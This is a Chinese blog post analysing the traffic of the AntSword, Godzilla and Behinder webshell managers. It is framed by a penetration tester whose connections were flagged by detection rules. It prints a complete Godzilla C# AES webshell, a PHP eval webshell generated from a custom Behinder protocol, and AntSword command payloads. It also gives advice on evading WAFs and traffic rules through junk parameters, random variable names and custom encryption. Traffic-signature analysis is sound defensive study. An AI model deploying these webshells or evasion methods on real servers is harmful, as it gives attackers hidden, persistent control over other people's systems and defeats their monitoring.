前言

前段时间搞渗透忘记切公司网了,被上面通报了,谁知道内访问外webshell也会被规则匹配呀,但是这也激起我的兴趣,没想到aes加密流量的木马也会被轻易识别出来。本文将对常用webshell管理工具的流量进行分析,并总结流量特征

蚁剑

正常操作流量分析

这里以aspx木马进行分析,木马密码是mr6

测试连接

开头和结尾会写入一串特殊字符当作命令执行结果和其他内容的分隔符
将执行内容进行base64编码,进行了一次嵌套,并且设置了编码类型防止返回内容乱码

1
2
3
4
5
6
7
8
9
10
11
Response.Write("d86" + "e49c");//开头
var err: Exception;
try {
eval(System.Text.Encoding.GetEncoding("UTF-8").GetString(
System.Convert.FromBase64String("dmFyIGM9U3lzdGVtLklPLkRpcmVjdG9yeS5HZXRMb2dpY2FsRHJpdmVzKCk7UmVzcG9uc2UuV3JpdGUoU2VydmVyLk1hcFBhdGgoIi4iKSsiCSIpO2Zvcih2YXIgaT0wO2k8PWMubGVuZ3RoLTE7aSsrKVJlc3BvbnNlLldyaXRlKGNbaV1bMF0rIjoiKTtSZXNwb25zZS5Xcml0ZSgiCSIrRW52aXJvbm1lbnQuT1NWZXJzaW9uKyIJIik7UmVzcG9uc2UuV3JpdGUoRW52aXJvbm1lbnQuVXNlck5hbWUpOw==")
), "unsafe");
} catch(err) {
Response.Write("ERROR:// " + err.message);
}
Response.Write("1516" + "bf323");//结尾
Response.End();

Base64 解码的内容

1
2
3
4
5
6
var c = System.IO.Directory.GetLogicalDrives();//获取服务器所有逻辑驱动器盘符
Response.Write(Server.MapPath(".") + "\t");//输出当前网站物理路径
for(var i = 0; i <= c.length - 1; i++)
Response.Write(c[i][0] + ":");
Response.Write("\t" + Environment.OSVersion + "\t");// 输出操作系统版本
Response.Write(Environment.UserName); //输出当前运行用户名

返回内容:
d86e49cC:\BaiduNetdiskDownload** C:D:E: Microsoft Windows NT 6.3.9600.0 .NET v4.51516bf323

也就是说测试连接就是获取一些系统信息,如果有返回则说明连接成功

跳转目录

蚁剑木马可以看成两部分
一部分就是加载器:用来定义编码类型,设置分割符,设置一些传参变量
一部分就是执行代码:放的是执行代码,使用base64编码

下面功能介绍就只介绍执行代码的内容,加载器都一样
这里获取路径的base64编码信息被放在一个随机参数里,解码时需要去除前两个字母,有点不太明白为什么要多此一举

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var D=System.Text.Encoding.GetEncoding("UTF-8").GetString(System.Convert.FromBase64String(Request.Item["z6b556b3b67dbf"].substr(2)));//路径
var m=new System.IO.DirectoryInfo(D);
var s=m.GetDirectories();// 获取所有子目录
var P:String;
var i;
function T(p:String):String{
return System.IO.File.GetLastWriteTime(p).ToString("yyyy-MM-dd HH:mm:ss");
}
for(i in s){
P=D+s[i].Name;
Response.Write(s[i].Name+"/\t"+T(P)+"\t0\t"+(s[i].Attributes)+"\n");
}
s=m.GetFiles();// 获取所有文件
for(i in s){
P=D+s[i].Name;
Response.Write(s[i].Name+"\t"+T(P)+"\t"+s[i].Length+"\t"+(s[i].Attributes)+"\n");
}

对路径“E:\System Volume Information”的访问被拒绝。4c2fb

打开文件

跟打开目录差不多

1
2
3
4
var P:String = System.Text.Encoding.GetEncoding("UTF-8").GetString(System.Convert.FromBase64String(Request.Item["z6b556b3b67dbf"].substr(2)));
var m = new System.IO.StreamReader(P, Encoding.Default);
Response.Write(m.ReadToEnd());
m.Close();

文件上传

文件目录相关的就是使用base64加密开头两个随机单词,数据就是用16进制,返回1就是上传成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 1. 获取并解码文件路径参数
var P:String = System.Text.Encoding.GetEncoding("GBK").GetString(System.Convert.FromBase64String(Request.Item["j9a43c7a0c7aa8"].substr(2)));
var Z:String = Request.Item["ld2103ad173a05"];// 获取十六进制数据参数
var B:byte[] = new byte[Z.Length/2]; // 每个十六进制字节占2字符
for(var i = 0; i < Z.Length; i += 2) {
B[i/2] = byte(Convert.ToInt32(Z.Substring(i, 2), 16)); // 16进制转字节
}
var fs:System.IO.FileStream = new System.IO.FileStream(// 以追加模式打开文件流
P, // 文件路径
System.IO.FileMode.Append // 追加模式
);
fs.Write(B, 0, B.Length); // 写入所有数据
fs.Close(); // 关闭流
Response.Write("1");// 返回成功标志

1

还有其他的功能其实都大相径庭,就不一一介绍了

蚁剑自带的流量混淆功能

使用随机英语单词变量

之前传参,传路径或者数据都是14位随机变量,ld2103ad173a05=...,开启之后就是key=,hash=,continuous=等等

使用mult传包

默认发包方式为 application/x-www-form-urlencoded, 勾选此选项后将开启 Multipart 发包方式 multipart/form-data

1
2
3
4
5
6
7
8
9
content-type: multipart/form-data; boundary=--------------------------455780280277588953008747
Content-Length: 719
Connection: close

----------------------------455780280277588953008747
Content-Disposition: form-data; name="mr6"

Response.Write("5854ad"+"c8cd9d");var err:Exception;try{eval(System.Text.Encoding.GetEncoding("GBK").GetString(System.Convert.FromBase64String("dmFyIGM9U3lzdGVtLklPLkRpcmVjdG9yeS5HZXRMb2dpY2FsRHJpdmVzKCk7UmVzcG9uc2UuV3JpdGUoU2VydmVyLk1hcFBhdGgoIi4iKSsiCSIpO2Zvcih2YXIgaT0wO2k8PWMubGVuZ3RoLTE7aSsrKVJlc3BvbnNlLldyaXRlKGNbaV1bMF0rIjoiKTtSZXNwb25zZS5Xcml0ZSgiCSIrRW52aXJvbm1lbnQuT1NWZXJzaW9uKyIJIik7UmVzcG9uc2UuV3JpdGUoRW52aXJvbm1lbnQuVXNlck5hbWUpOw==")),"unsafe");}catch(err){Response.Write("ERROR:// "+err.message);}Response.Write("2b38"+"296cf");Response.End();
----------------------------455780280277588953008747--

增加垃圾数据

就是插一大顿没有用的变量,变量名是随机的,变量值也是随机的
因过多参数导致 WAF 获取不到后面的数据,从而达到 Bypass 目的。

总结

蚁剑因为shell载体是一句话,流量是代码混淆难度要比流量是字节码的shell管理器要高,而且不想冰蝎之类的可以一键生成shell,傻瓜式操作,你想要扩展shell加个流量加密功能,还得自己写shell,自己写编码器解码器。但是同时蚁剑也是扩展性比较好的工具,该有的基本功能都有,还支持插件

哥斯拉

下面以哥斯拉的Cshap_AES_BASE64作为测试目标,进行流量分析,密码为默认值:pass,密钥为默认值:key

样本分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<%@ Page Language="C#"%>
<%
try {
string key = "3c6e0b8a9c15224a";//加密密钥为key,此处为加密密钥的MD5值的前16位
string pass = "pass";//pass就是我们设置的密码
// 将pass+key组合后计算MD5,并移除连字符
string md5 = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(pass + key))).Replace("-", "");
byte[] data = System.Convert.FromBase64String(Context.Request[pass]);// 从请求参数pass中获取Base64编码的加密数据
//aes解码,密钥和iv皆为key的md5前16为
data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key),System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data, 0, data.Length);

if (Context.Session["payload"] == null) { // 检查Session中是否已加载payload
Context.Session["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data });// 首次请求:加载解密后的数据作为程序集
} else {// 后续请求
System.IO.MemoryStream outStream = new System.IO.MemoryStream();
object o = ((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY"); // 从已加载的程序集中创建"LY"类的实例
o.Equals(Context); // 传递HttpContext
o.Equals(outStream); // 传递输出流
o.Equals(data); // 传递输入数据
o.ToString(); // 触发执行
byte[] r = outStream.ToArray();// 获取执行结果

// 响应格式:MD5前16位 + Base64&AES加密结果 + MD5后16位
Context.Response.Write(md5.Substring(0, 16));
Context.Response.Write(System.Convert.ToBase64String(
new System.Security.Cryptography.RijndaelManaged()
.CreateEncryptor(
System.Text.Encoding.Default.GetBytes(key),
System.Text.Encoding.Default.GetBytes(key))
.TransformFinalBlock(r, 0, r.Length)));
Context.Response.Write(md5.Substring(16));
}
} catch (System.Exception) {// 静默处理所有异常,不暴露任何错误信息
}
%>

上述代码第一次请求,请求体经过base64和aes解码后其实是一个.NET程序集,里面有一个恶意类LY,第一次存储到Session["payload"]中,后续请求就是从Session["payload"]中获取恶意类,调用其中的方法。这其实算是中转马,先上传个小马然后在上传个大马

测试连接

这个恶意的程序集在测试连接的时候被加载,我们可以解码后打包成dll文件,进行静态分析
那个dll文件太大了一千多行,这里就不一一分析了

每次调用都先会调用的Equals方法和Tostring方法,Equals方法就是初始化一些全局变量,Tostring方法会调用run方法
在run方法会根据data传入的方法名调用方法

1
2
3
4
5
6
7
8
9
10
11
12
string text2 = this.get("methodName");
if (text == null) // 如果evalClassName为null,则调用当前类中的方法
{
MethodInfo method = base.GetType().GetMethod(text2, new Type[0]); // 从当前类型取指定方法
if (method != null && method.ReturnType.IsAssignableFrom(typeof(byte[])))
{
MethodBase methodBase = method;
object[] array = new Type[0];
return (byte[])methodBase.Invoke(this, array);
}
return this.stringToByteArray("method is null"); // 方法不存在
}

可见后续调用就是解析传入的字节数组,根据传入的methodName调用方法
测试连接时一共发了三个包,除了上面加载程序集,其他两个data包为methodName closemethodName test

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public byte[] test()
{
return this.stringToByteArray("ok");
}
public byte[] close()
{
byte[] result;
try
{
this.sessionTable.Clear();
try
{
this.httpContext.Session.Abandon();
}
catch (Exception)
{
}
result = this.stringToByteArray("ok");
}
catch (Exception ex)
{
result = this.stringToByteArray(ex.Message);
}
return result;
}

test方法就是返回个ok表示加载成功,close方法就是清空session,相当于关闭连接

打开目录

可见其传参也是通过字节数组传输的
ScreenShot_2026-01-30_174100_937

其实从流量这一方面讲也没什么好讲的,流量太小了,还进行aes加密非常的安全

混淆方法

https://github.com/BeichenDream/Godzilla/issues/87
还支持自定义请求头
可以看看作者大大说的,对于请求包可以自定义垃圾参数进行混淆,毕竟传参key值为pass其实也不是很明显
对于返回包也可以添加垃圾数据,有的人直接用生成好的木马,这样太明显了,俩16位的MD5里面夹着一个base64,它那俩MD5相当于分割符,所以你完全可以写个页面到木马里

总结

它的php jsp其实也差不多,都是把主要方法放进session里,然后像rpc一样调用就行了,并且加密用的非对称加密,换个密钥它就识别不出来了,缺点就是缺个一键添加垃圾数据的功能,对像我这样的脚本小子来说不是很友好(●’◡’●),
还有就是在第一次连接的时候连发两个包,第一个包发一大堆数据,返回为空,第二个包发一个固定的数据,返回也是一个固定的数据,流量太明显了
最后就是没有做自定义的流量协议设计功能,想加什么编码协议都得自己反编译去改

冰蝎(v4版本)

冰蝎有两个比较明显的特点
其一是它传输介质是程序编译后的字节码,这是它的底层设计思想(php和asp因为不是编译型语言当然还是代码)
其二就是它可以自定义传输协议,这就大大提高了木马流量混淆能力的上线,我们不仅可以想哥斯拉一样添加一些垃圾数据,我们还可以对请求响应的加密 payload 进行自定义设计

编写传输协议

640
其中
本地加密为冰蝎客户端发送请求的加密算法
远程解密为shell脚本里处理请求的解密算法
远程加密为请求代码中对生成结果做的加密算法(并没有写死在shell里,但是跟在shell执行没什么区别)
本地解密为冰蝎客户端处理响应的解密算法

其中本地加解密的环境是冰蝎客户端,所以编写语言应该是java
而远程加解密的环境是shell脚本,需要根据具体情况编写对应的脚本

下面为自定义php的一句话木马,流量请求响应都为base64
本地加密请求包

1
2
3
4
5
6
private byte[] Encrypt(byte[] data) throws Exception
{
String json="pass=lucky";
json=json.replace("lucky",java.util.Base64.getEncoder().encodeToString(data));
return json.getBytes();
}

远程解密请求包

1
2
3
4
5
6
7
8
function Decrypt($data)
{
$prefix = "pass=";// 去掉开头的"pass="前缀
if (strpos($data, $prefix) === 0) {
$data = substr($data, strlen($prefix));
}
return base64_decode($data);// Base64解码并返回结果
}

远程加密响应包

1
2
3
4
function encrypt($data)
{
return base64_encode($data);
}

本地解密响应包

1
2
3
4
private byte[] Decrypt(byte[] data) throws Exception
{
return java.util.Base64.getDecoder().decode(data);
}

生成的webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
@error_reporting(0);
function Decrypt($data)
{
$prefix = "pass=";// 去掉开头的"pass="前缀
if (strpos($data, $prefix) === 0) {
$data = substr($data, strlen($prefix));
}
return base64_decode($data);// Base64解码并返回结果
}
$post=Decrypt(file_get_contents("php://input"));
@eval($post);
?>

总结

冰蝎的自带的协议的流量分析看协议配置模块就行了,冰蝎不能随便加混淆流量,自带的哪几个流量协议没有分割符配置,冰蝎更像一个制作流量混淆木马的平台